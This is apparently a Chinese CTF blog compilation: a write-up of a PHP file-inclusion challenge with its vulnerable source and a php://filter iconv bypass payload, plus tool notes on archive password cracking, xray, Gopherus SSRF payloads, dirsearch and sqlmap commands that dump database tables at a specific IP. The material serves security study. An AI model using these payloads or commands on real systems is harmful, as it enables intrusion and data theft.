(CTF WP)文件包含

题目介绍

这是攻防世界的一道 Web 题目,从题目描述和给出的源代码看,这是一个php的文件包含题目。

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>

WriteUp

看到有 include 函数,尝试了使用 php://filter 伪协议,做了下面几个尝试:

1
2
3
4
# 做这个尝试的时候提示 do not hack ! 应该是对 read 做了过滤
?filename=php://filter/read=convert.base64-encode/resource=flag.php
# 使用这个尝试的时候,提示 you have use the right filter , but error usage
?filename=php://filter/convert.iconv.UTF-8.UTF-7/resource=index.php

尝试到这里的时候,停了下来。根据提示应该比较接近答案了,但是仍不知道突破口在什么地方。参考了前人的WP,才发现 iconv 过滤支持的编码格式很多,需要借助 Burpsuite 来尝试各类组合。

在 BP 中拦截请求后,将请求发送到 Intruder ,选择两个字符集做为参数。

从 PHP 官方文档中找到支持的所有字符集列表做为参数。

  • UCS-4*
  • UCS-4BE
  • UCS-4LE*
  • UCS-2
  • UCS-2BE
  • UCS-2LE
  • UTF-32*
  • UTF-32BE*
  • UTF-32LE*
  • UTF-16*
  • UTF-16BE*
  • UTF-16LE*
  • UTF-7
  • UTF7-IMAP
  • UTF-8*
  • ASCII*
  • EUC-JP*
  • SJIS*
  • eucJP-win*
  • SJIS-win*
  • ISO-2022-JP
  • ISO-2022-JP-MS
  • CP932
  • CP51932
  • SJIS-mac (alias: MacJapanese)
  • SJIS-Mobile#DOCOMO (alias: SJIS-DOCOMO)
  • SJIS-Mobile#KDDI (alias: SJIS-KDDI)
  • SJIS-Mobile#SOFTBANK (alias: SJIS-SOFTBANK)
  • UTF-8-Mobile#DOCOMO (alias: UTF-8-DOCOMO)
  • UTF-8-Mobile#KDDI-A
  • UTF-8-Mobile#KDDI-B (alias: UTF-8-KDDI)
  • UTF-8-Mobile#SOFTBANK (alias: UTF-8-SOFTBANK)
  • ISO-2022-JP-MOBILE#KDDI (alias: ISO-2022-JP-KDDI)
  • JIS
  • JIS-ms
  • CP50220
  • CP50220raw
  • CP50221
  • CP50222
  • ISO-8859-1*
  • ISO-8859-2*
  • ISO-8859-3*
  • ISO-8859-4*
  • ISO-8859-5*
  • ISO-8859-6*
  • ISO-8859-7*
  • ISO-8859-8*
  • ISO-8859-9*
  • ISO-8859-10*
  • ISO-8859-13*
  • ISO-8859-14*
  • ISO-8859-15*
  • ISO-8859-16*
  • byte2be
  • byte2le
  • byte4be
  • byte4le
  • BASE64
  • HTML-ENTITIES (alias: HTML)
  • 7bit
  • 8bit
  • EUC-CN*
  • CP936
  • GB18030
  • HZ
  • EUC-TW*
  • CP950
  • BIG-5*
  • EUC-KR*
  • UHC (alias: CP949)
  • ISO-2022-KR
  • Windows-1251 (alias: CP1251)
  • Windows-1252 (alias: CP1252)
  • CP866 (alias: IBM866)
  • KOI8-R*
  • KOI8-U*
  • ArmSCII-8 (alias: ArmSCII8)

最后成功找到可以绕过过滤的字符集。

1
?filename=php://filter/convert.iconv.EUC-JP%2a.UCS-4*/resource=flag.php

参考资料

  1. Multibyte String
  2. 详解php://filter以及死亡绕过
  3. 泰山杯:文件包含

ARCHPR 介绍

ARCHPR 是 Elcomsoft 开发的一款压缩包密码破解工具,支持广泛的压缩包类型和加密算法。

ARCHPR 支持四种破解类型:暴力、字典、明文、掩码。

暴力 Brute-force

暴力破解方式是大家最容易想到使用的方式,从纯数字、纯字母等范围中,穷举并尝试破解密码。对于单独的类型效率比较高,如果是既有数字、字母大小写、特殊字符,位数在8位以上的,破解时间非常久。

字典

字典破解方式是使用从网上收集的常用密码字典尝试破解,有些人也可能会收集到之前各类安全事件中泄漏出来的用户真实密码。

掩码

如果有办法获取到密码中的一部分内容,例如知道某一位是一个数字,则可以使用掩码模式。

明文

明文破解方式是在你知道压缩包中的部分文件内容或部分文件时,可以利用已知文件来寻找加密密钥。

参考资料

  1. Advanced Archive Password Recovery

xray 使用

xray 是长亭科技推出的一款免费的、功能强大的安全评估工具,目前支持的漏洞检测类型包括:

  • XSS漏洞检测 (key: xss)
  • SQL 注入检测 (key: sqldet)
  • 命令/代码注入检测 (key: cmd-injection)
  • 目录枚举 (key: dirscan)
  • 路径穿越检测 (key: path-traversal)
  • XML 实体注入检测 (key: xxe)
  • 文件上传检测 (key: upload)
  • 弱口令检测 (key: brute-force)
  • jsonp 检测 (key: jsonp)
  • ssrf 检测 (key: ssrf)
  • 基线检查 (key: baseline)
  • 任意跳转检测 (key: redirect)
  • CRLF 注入 (key: crlf-injection)
  • Struts2 系列漏洞检测 (高级版,key: struts)
  • Thinkphp系列漏洞检测 (高级版,key: thinkphp)
  • XStream 系列漏洞检测 (key: xstream)
  • POC 框架 (key: phantasm)

参考资料

  1. xray 社区平台
  2. xray 文档

Gopherus 介绍

Gopher 协议

Gopher 协议俗称万能协议,是1991年发布的一个C/S结构的文件服务系统,它允许人们在 Internet 上快速的浏览文件等资源。当你使用一个 Gopher 客户端时,可以快速的浏览一个网站的文档、基于Telnet的应用、FTP网站结构或者其他的 Gopher 服务器。

A group of programmers—led by Mark P. McCahill, and including Farhad Anklesaria, Paul Lindner, Daniel Torrey, and Bob Alberti—created Gopher while working for the University of Minnesota’s microcomputer support department.

Gopher 协议

端口 默认为70端口,可自定义
协议格式 gopher://127.0.0.1:70/_
支持的应用/中间件 服务端:Nginx 支持,Apache不支持
客户端支持 curl、libcurl 支持该协议

Gopherus

Gopherus 是用来专门生成 gopher 协议的 payload 工具,通过 gopher 协议的特点和各种被攻击应用的 tcp 包特点来构造 payload。

目前支持生成payload应用有:

  • MySQL (Port:3306)
  • FastCGI (Port:9000)
  • Memcached (Port:11211)
  • Redis (Port:6379)
  • Zabbix (Port:10050)
  • SMTP (Port:25)

参考资料

  1. Gopherus Author Website
  2. Gopherus Github
  3. gopher协议利用
  4. 关于gopher协议的ssrf攻击
  5. The Web Before the Web: A Look Back at Gopher

dirsearch 介绍

在 CTF 比赛中,遇到服务器的场景需要先探索下有没有什么常见的问题点,有经验的可能会尝试 .git / admin / robots.txt 等等,但是手工尝试的效率很低,dirsearch 是一个快速批量检查的 Python 程序,能够快速帮我们找到网站的突破口。

安装

本文介绍的是在 macOS 12.2.1 环境下的使用方法,需要具备 Python3 环境。

在 Terminal 终端窗口中,cd 到希望保存这个工具的目录,执行下面的命令将代码下载到本地。

1
2
3
4
5
6
7
8
$ git clone https://github.com/maurosoria/dirsearch.git
# 安装 dirsearch 运行需要的其他依赖
$ cd dirsearch
# 这里使用了清华大学的镜像源来提高安装速度
$ pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
# 运行一下看能否正常执行
$ python3 dirsearch.py --version
dirsearch v0.4.3

使用

1
2
# 简单使用
$ python3 dirsearch.py -u https://target

参考资料

  1. 目录扫描工具 dirsearch 用法

Sqlmap 介绍

Sqlmap 是检测服务端是否存在SQL注入漏洞的自动化工具。因为其强大的检测能力,常用在CTF比赛的SQL注入类型的题目中。它的主要功能是扫描、发现并利用指定URL中的SQL注入漏洞,支持的数据库类型非常多。

安装

在 macOS 中,可以通过 brew install sqlmap 安装并通过命令行使用。

想知道 brew 怎么使用,可以参考 Homebrew 介绍与上手指南

使用

sqlmap 常用命令及参数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检测指定 URL 的注入点情况
$ sqlmap -u http://223.112.5.156:59050/index.php\?id\=1
# 检测指定 URL 的注入点情况,并指定更多的参数,提高成功率
$ sqlmap -u http://223.112.5.156:59050/index.php\?id\=1 --level 2 --time-sec=10
# 指定注入点,查看当前数据库
$ sqlmap -u http://223.112.5.156:59050/index.php\?id\=1 --current-db
# 指定注入点,指定数据库名,查看数据库中所有表
$ sqlmap -u http://223.112.5.156:59050/index.php\?id\=1 -D cyber --tables
# 指定注入点,指定数据库名和表名,查看表中具体内容
$ sqlmap -u http://223.112.5.156:59050/index.php\?id\=1 -D cyber -T cyber --dump

# 利用 POST 参数进行探测, 使用 --data 方式指定参数
$ sqlmap -u http://223.112.5.156:59050/ --data="usr=admin&pass=admin" --current-db

# 当网站需要认证时,需要带上 Cookie ,可以利用 --cookie 参数
$ sqlmap -u http://223.112.5.156:59050/index.php\?module\=index\&do\=member\&uid\=5 --level 2 --time-sec=10 --cookie "user=b73565ee4c6fd8009b9226e76d691d06; PHPSESSID=o5psg7sv53froq22u789dggbp0"

参考资料

  1. sqlmap
  2. sqlmap简介及简单应用实例